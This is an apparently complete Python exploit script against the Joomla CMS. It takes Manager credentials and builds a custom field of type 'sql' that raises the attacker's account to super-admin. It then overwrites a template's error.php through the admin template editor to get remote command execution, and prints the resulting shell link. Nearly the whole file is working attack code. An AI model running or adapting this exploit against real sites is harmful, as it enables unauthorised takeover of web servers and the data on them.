#!/usr/bin/python import sys import requests import re import argparse import random def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Manager') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Manager Login Failure!') return None print('[+] Manager Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_content' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print "[-] You are not Manager!" sys.exit() return token def getManagerId(url, sess): url_get = url + '/administrator/index.php?option=com_admin&view=profile&layout=edit' resp = sess.get(url_get, verify=True) # get id return re.findall('id=\d+', resp.text) def createNewField(url, sess,token): data = { 'jform[title]': 'SQL query', 'jform[type]': 'text', 'jform[name]': 'SQL query', 'jform[label]': 'SQL query', 'jform[description]': 'SQL query', 'jform[required]': 1, 'jform[state]': 1, 'jform[group_id]': 0, 'jform[access]': 1, 'jform[language]': '*', 'jform[params][showlabel]': 1, 'jform[params][display]': 2, 'jform[params][display_readonly]': 2, 'jform[id]': 0, 'jform[context]': 'com_content.article', 'task': 'field.apply', token: 1 } resp = sess.post(url + "/administrator/index.php?option=com_fields&context=com_content.article", data=data, verify=True) id = re.findall('id=\d+', resp.text) id_account = getManagerId(url, sess) ran = '%d' % random.randrange(1, 10000) url_post = url + '/administrator/index.php?option=com_fields&context=com_content.article&layout=edit&' + id[0] newdata = { 'jform[title]': 'SQL query ' + ran, 'jform[type]': 'sql', 'jform[name]': 'SQL query ' + ran, 'jform[label]': 'SQL query ' + ran, 'jform[description]': 'SQL query', 'jform[required]': 1, 'jform[fieldparams][query]': 'UPDATE #__user_usergroup_map SET group_id = 8 WHERE user_' + id_account[ 0] + ' AND group_id BETWEEN 6 AND 7; ', 'jform[state]': 1, 'jform[group_id]': 0, 'jform[access]': 1, 'jform[language]': '*', 'jform[params][showlabel]': 1, 'jform[params][display]': 2, 'jform[params][display_readonly]': 2, 'jform[id]': id, 'task': 'field.apply', 'jform[context]': 'com_content.article', token: 1 } newdata['task'] = 'field.apply' sess.post(url_post, data=newdata, verify=True) # Trigger SQL query url_sql = url + '/administrator/index.php?option=com_content&view=article&layout=edit' sess.get(url_sql, verify=True) def checkSuperAdmin(url, sess): print("[+] Checking Super-admin") url_config = url + '/administrator/index.php?option=com_config' resp = sess.get(url_config, verify=True) results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S) if not results: print("[!] Fail!" + ' You are not super-admin account') return False else: print "[+] Done!" return True def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print '[+] Checking:' shreq = sess.get(url + path2shell) shresp = shreq.text print shresp + '[+] Shell link: \n' + (url + path2shell) print '[+] Module finished.' def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-cmd", "--command", default="whoami", help="command") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print '[+] Your target: ' + url # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # command command = format(str(args['command'])) # session sess = requests.Session() if not try_admin_login(sess, url, uname, upass): sys.exit() token = check_admin(sess, url) # trigger SQL query createNewField(url, sess,token) # Now you are Super-admin if (checkSuperAdmin(url, sess)): # call RCE rce(sess, url, command, token) if __name__ == "__main__": sys.exit(main())